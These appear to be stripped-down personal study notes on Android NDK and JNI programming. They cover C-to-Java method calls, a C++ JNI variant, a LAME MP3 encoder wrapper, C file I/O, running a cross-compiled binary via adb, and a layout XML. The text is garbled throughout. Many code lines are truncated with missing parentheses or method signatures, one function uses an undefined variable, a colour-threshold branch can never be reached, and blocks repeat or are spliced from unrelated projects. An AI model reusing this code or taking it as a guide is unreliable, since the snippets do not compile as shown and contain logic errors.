jobject					(*AllocObject)(JNIEnv*,	jclass);
jobject					(*NewObject)(JNIEnv*,	jclass,	jmethodID,	...);

#include	<stdio.h>
#include	<jni.h>
#include	<malloc.h>
#include	<android/log.h>

#include	"cn_zengfanheng_ccallinjava_DataProvider.h"
#include	"cn_zengfanheng_ccallinjava_MainActivity.h"

#define	LOG_TAG	"System.out.c"	//LogCatTag
#define	LOGD(...)	__android_log_print(ANDROID_LOG_DEBUG,	LOG_TAG,	__VA_ARGS__)
#define	LOGI(...)	__android_log_print(ANDROID_LOG_INFO,	LOG_TAG,	__VA_ARGS__)

//	char*	char
//Jstring2CStr	java jstringcchar	
char*	Jstring2CStr(JNIEnv*	env,	jstring	jstr)	{
				char*	rtn	=	NULL;
				jclass	clsstring	=	(*env)->FindClass(env,	"java/lang/String");	//String
				jstring	strencode	=	(*env)->NewStringUTF(env,	"GB2312");	//	java	"GB2312"
				jmethodID	mid	=	(*env)->GetMethodID(env,	clsstring,	"getBytes",
												"(Ljava/lang/String;)[B");	//[	String.getBytes("gb2312");



				jbyteArray	barr	=	(jbyteArray)(*env)->CallObjectMethod(env,	jstr,	mid,
												strencode);	//	String	.getByte("GB2312");
				jsize	alen	=	(*env)->GetArrayLength(env,	barr);	//	byte
				jbyte*	ba	=	(*env)->GetByteArrayElements(env,	barr,	JNI_FALSE);
				if	(alen	>	0)	{
								rtn	=	(char*)	malloc(alen	+	1);									//"\0"
								memcpy(rtn,	ba,	alen);
								rtn[alen]	=	0;
				}
				(*env)->ReleaseByteArrayElements(env,	barr,	ba,	0);		//
				return	rtn;
}

//	Cjava,void		,	public	void	helloFromJava()
JNIEXPORT	void	JNICALL	Java_cn_zengfanheng_ccallinjava_DataProvider_callMethodFromJava1
(JNIEnv	*env,	jobject	obj)	{

				//java
				//1
				//jclass						(*FindClass)(JNIEnv*,	const	char*);
				jclass	dpclazz	=	(*env)->FindClass(env,"cn/zengfanheng/ccallinjava/DataProvider"
				if	(dpclazz==0)	{
								LOGI("find	class	error");
								return;
				}

				//2javaid	(..)
				//	jmethodID			(*GetMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
				jmethodID	methodId1	=	(*env)->GetMethodID(env,dpclazz,"helloFromJava",	
				if(methodId1==0){
								LOGI("find	method1	error");
								return;
				}
				LOGI("find	methodId1	success	");

				//3
				//void								(*CallVoidMethod)(JNIEnv*,	jobject,	jmethodID,	...);



				(*env)->CallVoidMethod(env,obj,methodId1);
				LOGI("callMethodFromJava1------------------------end");
}

//	Cjava int, int	,	public	int	addFromJava(int	x,	int	y)
JNIEXPORT	void	JNICALL	Java_cn_zengfanheng_ccallinjava_DataProvider_callMethodFromJava2
(JNIEnv	*	env,	jobject	obj)	{

				//1
				//	jclass						(*FindClass)(JNIEnv*,	const	char*);
				jclass	dpclazz	=	(*env)->FindClass(env,	"cn/zengfanheng/ccallinjava/DataProvider"
				if	(dpclazz==0)	{
												LOGI("find	class	error");
												return;
				}

				//2javaid	( env,jcalss,,)
				//jmethodID			(*GetMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
				jmethodID	methodId2	=	(*env)->GetMethodID(env,dpclazz,"addFromJava","(II)I"
	union	jvalue
				//jmethodID	methodId2	=	(*env)->GetMethodID(env,dpclazz,"addFromJava","		(II)I");//
				if(methodId2==0){
												LOGI("find	method2	error");
												return;
				}
				LOGI("find	methodId2	success	");

				//3 int
				//jint								(*CallIntMethod)(JNIEnv*,	jobject,	jmethodID,	...);
				int	x	=	3,y	=	5;
				jint	addresult	=	(*env)->CallIntMethod(env,obj,methodId2,x,y);
				LOGI("%d+%d=%d",x,y,addresult);
				LOGI("callMethodFromJava2------------------------end");
}

//	Cjavastringvoid	,		public	void	printStringFromJava(String	s)
JNIEXPORT	void	JNICALL	Java_cn_zengfanheng_ccallinjava_DataProvider_callMethodFromJava3



(JNIEnv	*env,	jobject	obj)	{

				//1
				//jclass						(*FindClass)(JNIEnv*,	const	char*);
				jclass	dpclazz	=	(*env)->FindClass(env,	"cn/zengfanheng/ccallinjava/DataProvider"
				if	(dpclazz==0)	{
								LOGI("find	class	error");
								return;
				}

				//2javaid	(..)
				//jmethodID			(*GetMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
				jmethodID	methodId3	=	(*env)->GetMethodID(env,dpclazz,"printStringFromJava"
				if(methodId3==0){
								LOGI("find	methodId3	error");
								return;
				}
				LOGI("find	methodId3	success	");

				//3,String
				//void								(*CallVoidMethod)(JNIEnv*,	jobject,	jmethodID,	...);
				//char*javaString
				//jstring					(*NewStringUTF)(JNIEnv*,	const	char*);
				char*	ch	=	"→i	am	from	c	" ;
				jstring	jstr	=		(*env)->NewStringUTF(env,ch);
				(*env)->CallVoidMethod(env,obj,methodId3,jstr);
				LOGI("callMethodFromJava3------------------------end");
}

//	4CjavastringString			public	String	getNameFromJava(String	s)
JNIEXPORT	void	JNICALL	Java_cn_zengfanheng_ccallinjava_DataProvider_callMethodFromJava4
		(JNIEnv	*env,	jobject	obj){

				//1
				//jclass						(*FindClass)(JNIEnv*,	const	char*);
				jclass	dpclazz	=	(*env)->FindClass(env,	"cn/zengfanheng/ccallinjava/DataProvider"
				if	(dpclazz==0)	{



								LOGI("find	class	error");
								return;
				}

				//2javaid	(..)
				//jmethodID			(*GetMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
				jmethodID	methodId4	=	(*env)->GetMethodID(env,dpclazz,"getNameFromJava"
(Ljava/lang/String;)Ljava/lang/String;");
				if(methodId4==0){
								LOGI("find	methodId4	error");
								return;
				}
				LOGI("find	methodId4	success	");

				//3
				//jobject					(*CallObjectMethod)(JNIEnv*,	jobject,	jmethodID,	...);
				char*	ch	=	"hacket";
				jstring	jstr	=		(*env)->NewStringUTF(env,ch);
				jstring	name	=	(*env)->CallObjectMethod(env,obj,methodId4,jstr);
				char*	myname	=	Jstring2CStr(env,name);
				LOGI("c--%s",myname);
				LOGI("callMethodFromJava4------------------------end");
}

//5CjavastaticStringvoid		public	static	void	printStaticStr(String	s)
JNIEXPORT	void	JNICALL	Java_cn_zengfanheng_ccallinjava_DataProvider_callMethodFromJava5
(JNIEnv	*	env,	jobject	obj)	{

				//1
				//jclass						(*FindClass)(JNIEnv*,	const	char*);
				jclass	dpclazz	=	(*env)->FindClass(env,	"cn/zengfanheng/ccallinjava/DataProvider"
				if	(dpclazz==0)	{
								LOGI("find	class	error");
								return;
				}

				//



				//2javaid	(..)
				//	jmethodID			(*GetStaticMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
				jmethodID	methodId5	=	(*env)->GetStaticMethodID(env,dpclazz,"printStaticStr"
				if(methodId5==0){
								LOGI("find	methodId5	error");
								return;
				}
				LOGI("find	methodId5	success	");

				//3,voidString
				//void								(*CallStaticVoidMethod)(JNIEnv*,	jclass,	jmethodID,	...);
				char*	ch	=	"i	am	in	c	static";
				jstring	jstr	=		(*env)->NewStringUTF(env,ch);
				(*env)->CallStaticVoidMethod(env,dpclazz,methodId5,jstr);
				LOGI("callMethodFromJava5------------------------end");
}

//6Cnative	,helloFromJava
JNIEXPORT	void	JNICALL	Java_cn_zengfanheng_ccallinjava_MainActivity_call_1dp_1callMethodFromJava1
(JNIEnv	*env,	jobject	obj)	{

				//1
				//jclass						(*FindClass)(JNIEnv*,	const	char*);
				jclass	dpclazz	=	(*env)->FindClass(env,	"cn/zengfanheng/ccallinjava/DataProvider"
				if	(dpclazz==0)	{
								LOGI("find	class	error");
								return;
				}

				//2javaid	(..)
				//jmethodID			(*GetMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
				jmethodID	methodId6	=	(*env)->GetMethodID(env,dpclazz,"helloFromJava","()V"
				if(methodId6==0){
								LOGI("find	methodId6	error");
								return;
				}
				LOGI("find	methodId6	success	");



				//3native, objMainActivity objDataProvidernewjava
				//				jobject					(*AllocObject)(JNIEnv*,	jclass);
				jobject	dp_obj	=	(*env)->AllocObject(env,dpclazz);

				//4, obj
				//void								(*CallVoidMethod)(JNIEnv*,	jobject,	jmethodID,	...);
				(*env)->CallVoidMethod(env,dp_obj,methodId6,jstr);
				LOGI("callMethodFromJava6------------------------end");

}



JNI

jni android

1ndk-buildc
1ndk-build	*.o
2*.o.d
3*.so
4libs\armeabi

	
2
/**
	*	1
	*	@return
	*/
@SuppressWarnings("deprecation")
private	void	getWindowSize()	{
				WindowManager	manager	=	(WindowManager)	this.getSystemService(Context.WINDOW_SERVICE
				Display	display	=	manager.getDefaultDisplay();
				int	window_width	=	0;
				int	window_height	=	0;
				//	
				int	sdkVersion	=	Build.VERSION.SDK_INT;//	sdk
				//	
				if	(sdkVersion	<	13)	{
								System.out.println("" 	+	sdkVersion);
								//	1
								window_width	=	display.getWidth();



								window_height	=	display.getHeight();
				}	else	{
								System.out.println("" 	+	sdkVersion);
								//	2
								Point	outSize	=	new	Point();
								display.getSize(outSize);
								window_width	=	outSize.x;
								window_height	=	outSize.y;
				}
}

3View
package	cn.zengfansheng.boilerpressure;

	

import	android.content.Context;

import	android.graphics.Canvas;

import	android.graphics.Paint;

import	android.view.View;

	

/**

*	View

*	@author	hacket

*/

public	class	RectangleView	extends	View	{

	

				/**

					*	

					*/

				private	int	right;

				/**

					*	

					*/

				private	int	color;

	

				public	RectangleView(Context	context,	int	right,	int	color)	{

								super(context);

								this.right	=	right;

								this.color	=	color;

				}

	

				//	androidview		ondraw

				@Override

				protected	void	onDraw(Canvas	canvas)	{

								super.onDraw(canvas);

	

								//	canvas	

	

								//	paint	

								//	Paint	paint	=	new	Paint();

								//	paint.setColor(Color.RED);

								//	paint.setTextSize(20.0f);

								//	paint.setStrokeWidth(18.0f);

								//	canvas.drawText("",	30,	30,	paint);



	

								Paint	paint	=	new	Paint();

								paint.setStrokeWidth(10);

								paint.setColor(color);

								//	right	

								canvas.drawRect(10,	30,	right,	50,	paint);

				}

}

4Handler+Message

1crand()
2javajniJNI
31Timer,TimerTask
4,Hander+Message
5View,onDraw

a)ViewRectangleView	
package	cn.zengfansheng.boilerpressure;

	

import	android.content.Context;

import	android.graphics.Canvas;

import	android.graphics.Paint;

import	android.view.View;

	

/**

*	View

*	@author	hacket

*/

public	class	RectangleView	extends	View	{

	

				/**

					*	

					*/

				private	int	right;

				/**

					*	

					*/

				private	int	color;

	

				public	RectangleView(Context	context,	int	right,	int	color)	{

								super(context);

								this.right	=	right;

								this.color	=	color;

				}

	

				//	androidview		ondraw

				@Override

				protected	void	onDraw(Canvas	canvas)	{

								super.onDraw(canvas);



	

								//	canvas	

	

								//	paint	

								//	Paint	paint	=	new	Paint();

								//	paint.setColor(Color.RED);

								//	paint.setTextSize(20.0f);

								//	paint.setStrokeWidth(18.0f);

								//	canvas.drawText("",	30,	30,	paint);

	

								Paint	paint	=	new	Paint();

								paint.setStrokeWidth(10);

								paint.setColor(color);

								//	right	

								canvas.drawRect(10,	30,	right,	50,	paint);

				}

	

}

bBoilerActivity.java
package	cn.zengfansheng.boilerpressure;

	

import	java.util.Timer;

import	java.util.TimerTask;

	

import	android.annotation.SuppressLint;

import	android.app.Activity;

import	android.content.Context;

import	android.graphics.Color;

import	android.graphics.Point;

import	android.os.Build;

import	android.os.Bundle;

import	android.os.Handler;

import	android.os.Message;

import	android.view.Display;

import	android.view.WindowManager;

import	android.widget.TextView;

	

@SuppressLint("NewApi")

public	class	BoilerActivity	extends	Activity	{

	

				private	static	final	int	HIGH_PRESSURE	=	404;//	

	

				private	native	int	obtainPressure();

	

				private	Timer	timer;

				private	TimerTask	task;

				int	WINDOW_HEIGHT;

	

				private	Handler	handler	=	new	Handler()	{

	

								@Override

								public	void	handleMessage(Message	msg)	{

												super.handleMessage(msg);

	

												int	pressure	=	(Integer)	msg.obj;



	

												int	color	=	obtainColor(pressure);

												if	(color	==	404)	{

																TextView	tView	=	new	TextView(BoilerActivity.this);

																tView.setText("~~~" );

																tView.setTextColor(Color.RED);

																//	TODO	

																BoilerActivity.this.setContentView(tView);

																timer.cancel();

																return;

												}

												RectangleView	rectangleView	=	new	RectangleView(BoilerActivity.this

color);

												BoilerActivity.this.setContentView(rectangleView);

								}

	

				};

	

				static	{

								//	libgetPressure.so

								System.loadLibrary("getPressure");

				}

	

				@SuppressLint("NewApi")

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

	

								//	View

								//	RectangleView	rectangleView	=	new	RectangleView(this);

								//	this.setContentView(rectangleView);

	

								timer	=	new	Timer();

								task	=	new	TimerTask()	{

	

												@Override

												public	void	run()	{

																int	pressure	=	obtainPressure();

																System.out.println("" 	+	pressure);

																Message	msg	=	Message.obtain();

																msg.obj	=	pressure;

																handler.sendMessage(msg);

												}

								};

								timer.schedule(task,	1000,	1000);//	

				}

	

				/**

					*	2

					*	@param	pressure	

					*	@return	

					*/

				private	int	obtainColor(int	pressure)	{

								if	(pressure	<	100)	{

												return	Color.GREEN;



								}	else	if	(pressure	<	200)	{

												return	Color.YELLOW;

								}	else	if	(pressure	<	20)	{

												return	Color.RED;

								}	else	{

												return	HIGH_PRESSURE;

								}

				}

	

				/**

					*	1

					*	@return

					*/

				@SuppressWarnings("deprecation")

				private	void	getWindowSize()	{

								WindowManager	manager	=	(WindowManager)

this.getSystemService(Context.WINDOW_SERVICE);

								Display	display	=	manager.getDefaultDisplay();

	

								int	window_width	=	0;

								int	window_height	=	0;

	

								//	

								int	sdkVersion	=	Build.VERSION.SDK_INT;//	sdk

	

								//	

								if	(sdkVersion	<	13)	{

												System.out.println("" 	+	sdkVersion);

												//	1

												window_width	=	display.getWidth();

												window_height	=	display.getHeight();

								}	else	{

												System.out.println("" 	+	sdkVersion);

												//	2

												Point	outSize	=	new	Point();

												display.getSize(outSize);

												window_width	=	outSize.x;

												window_height	=	outSize.y;

								}

				}

}

wiz:open_attachment?guid=36de2ef2-c0ba-4baa-86e1-e18275e06e8b


	

	



JNICC++

jni.h500C++C
struct	_JNIEnv	{

				/*	do	not	rename	this;	it	does	not	seem	to	be	entirely	opaque	*/

				const	struct	JNINativeInterface*	functions;

				jclass	FindClass(const	char*	name)

				{	return	functions->FindClass(this,	name);	}

}

C++Cjni
1Android.mkC++
LOCAL_CPP_EXTENSION	:=	cpp		
2(*env)env
3env
env->NewStringUTF(ch1);		
4
JNIEXPORT	jstring	JNICALL	Java_cn_zengfansheng_jniccplusplus_MainActivity_helloInCplusplus
								JNIEnv	*env,	jobject,	jstring	jstr)	{}

1Hello.cpp
#include	<stdio.h>
#include	<malloc.h>
#include	<stdlib.h>
#include	<jni.h>
#include	<android/log.h>
#include	"cn_zengfansheng_jniccplusplus_MainActivity.h"
#define	LOG_TAG	"System.out.c"	//LogCatTag
#define	LOGD(...)	__android_log_print(ANDROID_LOG_DEBUG,	LOG_TAG,	__VA_ARGS__)
#define	LOGI(...)	__android_log_print(ANDROID_LOG_INFO,	LOG_TAG,	__VA_ARGS__)

//	char*	char
//Jstring2CStr	java jstringcchar	
char*	Jstring2CStr(JNIEnv*	env,	jstring	jstr)	{
				char*	rtn	=	NULL;
				jclass	clsstring	=	env->FindClass("java/lang/String");	//String
				jstring	strencode	=	env->NewStringUTF("GB2312");	//	java	"GB2312"
				jmethodID	mid	=	env->GetMethodID(clsstring,	"getBytes","(Ljava/lang/String;)
[B");	//[	String.getBytes("gb2312");
				jbyteArray	barr	=	(jbyteArray)env-
>CallObjectMethod(jstr,	mid,strencode);	//	String	.getByte("GB2312");
				jsize	alen	=	env->GetArrayLength(barr);	//	byte
				jbyte*	ba	=	env->GetByteArrayElements(barr,	JNI_FALSE);



				if	(alen	>	0)	{
								rtn	=	(char*)(malloc(alen	+	1));									//"\0"
								memcpy(rtn,	ba,	alen);
								rtn[alen]	=	0;
				}
				env->ReleaseByteArrayElements(barr,	ba,	0);		//
				return	rtn;
}

JNIEXPORT	jstring	JNICALL	Java_cn_zengfansheng_jniccplusplus_MainActivity_helloInCplusplus
								JNIEnv	*env,	jobject,	jstring	jstr)	{

				char*	ch	=	Jstring2CStr(env,jstr);
				LOGD("%s",	ch);
//				jstring	NewStringUTF(const	char*	bytes)
//								{	return	functions->NewStringUTF(this,	bytes);	}
				char*	ch1	=	"i	am	from	c";
				return	env->NewStringUTF(ch1);
				//1(* env)->
				//2 env
}
2Android.mk
LOCAL_PATH	:=	$(call	my-dir)
include	$(CLEAR_VARS)

#				Since	NDK	r7,	you	can	list	several	extensions	in	this	variable,	as	in:
#				LOCAL_CPP_EXTENSION	:=	.cxx	.cpp	.cc
LOCAL_CPP_EXTENSION	:=	cpp

LOCAL_MODULE				:=	MyHello
LOCAL_SRC_FILES	:=	Hello.cpp

#					LOCAL_LDLIBS	:=	-lz
LOCAL_LDLIBS	:=	-llog

include	$(BUILD_SHARED_LIBRARY)

wiz:open_attachment?guid=ff1f7fe7-805b-459e-83d4-1da2f7860c3b
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LameUI	

Lame	
lame3.99
http://sourceforge.net/projects/lame/files/lame/3.99/	
LameUI	

#include	<stdio.h>
#include	<stdlib.h>
#include	<malloc.h>
#include	<jni.h>
#include	<android/log.h>
#include	"cn_zengfansheng_lame_MainActivity.h"
#define	LOG_TAG	"System.out.c"
#define	LOGD(...)	__android_log_print(ANDROID_LOG_DEBUG,	LOG_TAG,	__VA_ARGS__)
#define	LOGI(...)	__android_log_print(ANDROID_LOG_INFO,	LOG_TAG,	__VA_ARGS__)

http://sourceforge.net/projects/lame/files/lame/3.99/


//Jstring2CStr	java jstringcchar	
char*	Jstring2CStr(JNIEnv*	env,	jstring	jstr)	{
				char*	rtn	=	NULL;
				jclass	clsstring	=	(*env)->FindClass(env,	"java/lang/String");	//String
				jstring	strencode	=	(*env)->NewStringUTF(env,	"GB2312");	//	java	"GB2312"
				jmethodID	mid	=	(*env)->GetMethodID(env,	clsstring,	"getBytes","(Ljava/lang/String;)
[B");	//[	String.getBytes("gb2312");
				jbyteArray	barr	=	(jbyteArray)(*env)-
>CallObjectMethod(env,	jstr,	mid,strencode);	//	String	.getByte("GB2312");
				jsize	alen	=	(*env)->GetArrayLength(env,	barr);	//	byte
				jbyte*	ba	=	(*env)->GetByteArrayElements(env,	barr,	JNI_FALSE);
				if	(alen	>	0)	{
								rtn	=	(char*)	malloc(alen	+	1);									//"\0"
								memcpy(rtn,	ba,	alen);
								rtn[alen]	=	0;
				}
				(*env)->ReleaseByteArrayElements(env,	barr,	ba,	0);
				return	rtn;
}
JNIEXPORT	void	JNICALL	Java_cn_zengfansheng_lame_MainActivity_convertToMp3
(JNIEnv	*env,	jobject	obj,	jstring	jstr_src	,	jstring	jstr_dst)	{
				//1javacchar
				char*	cstr_src	=	Jstring2CStr(env,jstr_src);
				char*	cstr_dst	=	Jstring2CStr(env,jstr_dst);
				//2LOGD
				LOGD("src=%s",cstr_src);
				LOGD("dst=%s",cstr_dst);
}

wiz:open_attachment?guid=ecca331e-2910-40a3-96fd-d3129bf8b74c


CFILE

1C	
#include	<stdio.h>	
#include	<stdlib.h>
main(){
								//	java	
								//	File	file	=	new	File("1.txt")	
								//	c	
								//	sharedpreference		db	content.openoutput()		
								//			
								FILE	*	fp	=	fopen("write.txt","wt");////FILE	
								
								char*	str		=	"[i	am	use	c	write	file]";	
					
								//	fwrite4		
								//			
								//					
								//			
								//				
								int	len	=	fwrite(str,sizeof(char),23,fp);//	
								
								printf("%d\n",len);
								
								//	
								//fclose(fp);
								//	
								
								system("pause");
}
2C	
#include	<stdio.h>	
main(){
							FILE*	fp	=	fopen("write.txt","rt");			//FILE				
							
							char	arr[25]={};//	
														



							printf("arr:%s\n" ,arr);
							
							//	
							//					
							//			
							//			
							int	read	=	fread(arr,sizeof(char),23,fp);
							printf("%d\n" ,read);
							printf("arr:%s\n" ,arr);
							
							fclose(fp);//	
							
							system("pause");
}
3C

“rt”	 	
“wt”	 	
“at”	 	

“rb”	 	
“wb”	 	
“ab”	 	

“rt+”	 	
“wt+”	 	
“at+”	 	
“rb+”	 	
“wb+”	 	
“ab+”	



r,w,a,t,b+

r(read):		
w(write):		
a(append):		
t(text):	 	
b(banary):		



Lame2-Lame
lamelame

1LAME
a*.c*.h
bAndroid.mk*.c
LOCAL_SRC_FILES	:=	...	
clinuxfloat

	
dcygwinndk-build
float	 	extern	float	fast_log2(float	x);		
eversion
2lamelame.h
//lame
JNIEXPORT	jstring	JNICALL	Java_cn_zengfansheng_lame_MainActivity_getLameVersionFromC
								JNIEnv	*env,	jobject	obj)	{
				//4
				//				int	CDECL	lame_init_params(lame_global_flags	*);
				//				const	char*		CDECL	get_lame_version							(	void	);
				return	(*env)->NewStringUTF(env,	get_lame_version());
}

	

3lame
#include	<stdio.h>
#include	<stdlib.h>
#include	<malloc.h>



#include	<jni.h>
#include	<android/log.h>
#include	<lame.h>
#include	"cn_zengfansheng_lame_MainActivity.h"
#define	LOG_TAG	"System.out.c"
#define	LOGD(...)	__android_log_print(ANDROID_LOG_DEBUG,	LOG_TAG,	__VA_ARGS__)
#define	LOGI(...)	__android_log_print(ANDROID_LOG_INFO,	LOG_TAG,	__VA_ARGS__)

//Jstring2CStr	java jstringcchar	
char*	Jstring2CStr(JNIEnv*	env,	jstring	jstr)	{
				char*	rtn	=	NULL;
				jclass	clsstring	=	(*env)->FindClass(env,	"java/lang/String");	//String
				jstring	strencode	=	(*env)->NewStringUTF(env,	"GB2312");	//	java	"GB2312"
				jmethodID	mid	=	(*env)->GetMethodID(env,	clsstring,	"getBytes",
												"(Ljava/lang/String;)[B");	//[	String.getBytes("gb2312");
				jbyteArray	barr	=	(jbyteArray)(*env)->CallObjectMethod(env,	jstr,	mid,
												strencode);	//	String	.getByte("GB2312");
				jsize	alen	=	(*env)->GetArrayLength(env,	barr);	//	byte
				jbyte*	ba	=	(*env)->GetByteArrayElements(env,	barr,	JNI_FALSE);
				if	(alen	>	0)	{
								rtn	=	(char*)	malloc(alen	+	1);									//"\0"
								memcpy(rtn,	ba,	alen);
								rtn[alen]	=	0;
				}
				(*env)->ReleaseByteArrayElements(env,	barr,	ba,	0);
				return	rtn;
}

//lame
JNIEXPORT	jstring	JNICALL	Java_cn_zengfansheng_lame_MainActivity_getLameVersionFromC
								JNIEnv	*env,	jobject	obj)	{
				//4
				//				int	CDECL	lame_init_params(lame_global_flags	*);
				//				const	char*		CDECL	get_lame_version							(	void	);
				return	(*env)->NewStringUTF(env,	get_lame_version());
}

//
JNIEXPORT	void	JNICALL	Java_cn_zengfansheng_lame_MainActivity_convertToMp3
(JNIEnv	*env,	jobject	obj,	jstring	jstr_src	,	jstring	jstr_dst)	{

				//0-1javacchar



				char*	cstr_src	=	Jstring2CStr(env,jstr_src);
				char*	cstr_dst	=	Jstring2CStr(env,jstr_dst);

				//0-2LOGD
				LOGD("src=%s",cstr_src);
				LOGD("dst=%s",cstr_dst);

				//0-3 wavmp3
				FILE*	fsrc	=	fopen(cstr_src,"rb");
				FILE*	fdst	=	fopen(cstr_dst,"wb");

				short	int	wav_buffer[8192*2];
				unsigned	char	mp3_buffer[8192];

				//1lame
				//				struct	lame_global_struct;
				//				typedef	struct	lame_global_struct	lame_global_flags;
				//				typedef	lame_global_flags	*lame_t;
				//				lame_global_flags	*	CDECL	lame_init(void);
				lame_t	lame	=	lame_init();

				//2lame		mp3
				/*	input	sample	rate	in	Hz.		default	=	44100hz	*/
				//int	CDECL	lame_set_in_samplerate(lame_global_flags	*,	int);
				//int	CDECL	lame_get_in_samplerate(const	lame_global_flags	*);
				lame_set_in_samplerate(lame,44100);

				//3
				/*	number	of	channels	in	input	stream.	default=2		*/
				//int	CDECL	lame_set_num_channels(lame_global_flags	*,	int);
				//int	CDECL	lame_get_num_channels(const	lame_global_flags	*);
				lame_set_num_channels(lame,2);

				//4mp3
				/*	Types	of	VBR.		default	=	vbr_off	=	CBR	*/
				//int	CDECL	lame_set_VBR(lame_global_flags	*,	vbr_mode);
				//vbr_mode	CDECL	lame_get_VBR(const	lame_global_flags	*);
				//typedef	enum	vbr_mode_e	vbr_default=vbr_mtrh
				lame_set_VBR(lame,vbr_default);

				//5lame
				/*



					*	REQUIRED:
					*	sets	more	internal	configuration	based	on	data	provided	above.
					*	returns	-1	if	something	failed.
					*/
				//int	CDECL	lame_init_params(lame_global_flags	*);
				lame_init_params(lame);
				LOGD("statrt--lame	init	finish");

				//6
				int	read	=	0	;//	
				int	write	=	0;
				LOGD("read=%d",read);
				LOGD("write=%d",write);
				do{
								//
								read	=	fread(wav_buffer,sizeof(short	int)*2,8192,fsrc);
								LOGD("read=%d,lame	reading",read);
								if(read!=0){
												LOGD("read=%d,--lame	converting...",read);
												//
												write	=	lame_encode_buffer_interleaved(lame,wav_buffer,read,mp3_buffer,8192);
												//mp3
												fwrite(mp3_buffer,sizeof(unsigned	char),write,fdst);
								}
								if(read==0){//
												LOGD("read=%d,--lame	converting...",read);
												lame_encode_flush(lame,mp3_buffer,8192);
								}
				}while(read!=0);
				LOGI("end--convert		finish");

				//7
				lame_close(lame);
				fclose(fsrc);
				fclose(fdst);
}



	

4

	
a)		java
b)	Cjava

1
ProgressDialog
pd.setCancelable(false);
2
cflagflag=	404	,
javaflagnativestop()



stopcflag404.
int	flag	=	0	;//flag=404
public	native	void	stop();
11-30	07:48:06.193:	I/Choreographer(25721):	Skipped	42	frames!		The	application	may	be
doing	too	much	work	on	its	main	thread.



Sourcery	G++	Lite-candroidc

	c
Sourcery	G++	Lite	Edition	for	ARM
android	.
	
1..Sourcery	G++	Lite	Edition	for	ARM.
				arm-none-linux-gnueabi-gcc.exe	
				bin/arm-none-linux-gnueabi-ld.exe	

2.c
				#include	<stdio.h>
				int	main()
				{
								printf("Hello,	Android!\n");
								return	0;
				}

3.hello.c
				cmd
					arm-none-linux-gnueabi-gcc	HelloWorld.c	-static	-o	hellostatic

4.hellostatic
				adb	push	hellostatic	/data/c/

5.
				adb	shell	chmod	777	/data/c/hellostatic

6.
				adb	shell
				cd	/data/c
				./hellostatic

7.
	
android
package	cn.zengfansheng.test;
import	java.io.DataInputStream;



import	java.io.IOException;
import	java.io.InputStream;
import	android.app.Activity;
import	android.os.Bundle;
public	class	MainActivity	extends	Activity	{
				@SuppressWarnings("deprecation")
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								try	{
												//Process	process	=	Runtime.getRuntime().exec("/data/data/hello");//	 dalvik
linux
												//	Process	process	=	Runtime.getRuntime().exec("ps");//	
												Process	process	=	Runtime.getRuntime().exec("date");//	
												InputStream	in	=	process.getInputStream();
												DataInputStream	dis	=	new	DataInputStream(in);
												String	line	=	null;
												while	((line	=	dis.readLine())	!=	null)	{
																System.out.println(line);
												}
								}	catch	(IOException	e)	{
												e.printStackTrace();
								}
				}
}
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1 	
2
1
2HomeImageButton
3()
4ImageButton
5view
6level3level2homeout
3
a)	ididxmlrecourseitemid
b)	animation.setAnimationListener(listener)
c) 	animation.setStartOffset(startOffset);//	
4
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"	>
				<!--	1	-->
				<RelativeLayout
								android:id="@+id/rl_level1"
								android:layout_width="100dp"
								android:layout_height="50dp"
								android:layout_alignParentBottom="true"
								android:layout_centerHorizontal="true"
								android:background="@drawable/level1"	>
								<!--	Home	-->
								<ImageButton



												android:id="@+id/ib_home"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_centerInParent="true"
												android:background="@drawable/icon_home"
												android:contentDescription="Home" 	/>
								<!--	android:src="@drawable/icon_home"	ImageButtonbackground	-->
				</RelativeLayout>
				<!--	2	-->
				<RelativeLayout
								android:id="@+id/rl_level2"
								android:layout_width="200dp"
								android:layout_height="100dp"
								android:layout_alignParentBottom="true"
								android:layout_centerHorizontal="true"
								android:background="@drawable/level2"
								android:visibility="invisible"	>
								<ImageButton
												android:id="@+id/ib_search"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentBottom="true"
												android:layout_marginLeft="10dp"
												android:background="@drawable/icon_search"	>
								</ImageButton>
								<ImageButton
												android:id="@+id/ib_menu"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentTop="true"
												android:layout_centerHorizontal="true"
												android:layout_marginTop="6dp"
												android:background="@drawable/icon_menu"	>
								</ImageButton>
								<ImageButton
												android:id="@+id/ib_myyouku"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentBottom="true"
												android:layout_alignParentRight="true"
												android:layout_marginRight="10dp"
												android:background="@drawable/icon_myyouku"	>



								</ImageButton>
				</RelativeLayout>
				<!--	3	-->
				<RelativeLayout
								android:id="@+id/rl_level3"
								android:layout_width="335dp"
								android:layout_height="165dp"
								android:layout_alignParentBottom="true"
								android:layout_centerHorizontal="true"
								android:background="@drawable/level3"
								android:visibility="invisible"	>
								<!--	channel1	-->
								<ImageButton
												android:id="@+id/ib_channel1"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentBottom="true"
												android:layout_alignParentLeft="true"
												android:layout_marginBottom="10dp"
												android:layout_marginLeft="12dp"
												android:background="@drawable/channel1"	>
								</ImageButton>
								<!--	channel2	-->
								<ImageButton
												android:id="@+id/ib_channel2"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_above="@id/ib_channel1"
												android:layout_marginBottom="20dp"
												android:layout_marginLeft="35dp"
												android:background="@drawable/channel2"	>
								</ImageButton>
								<!--	channel3	-->
								<ImageButton
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_above="@id/ib_channel2"
												android:layout_marginBottom="20dp"
												android:layout_marginLeft="12dp"
												android:layout_toRightOf="@id/ib_channel2"
												android:background="@drawable/channel3"	>
								</ImageButton>



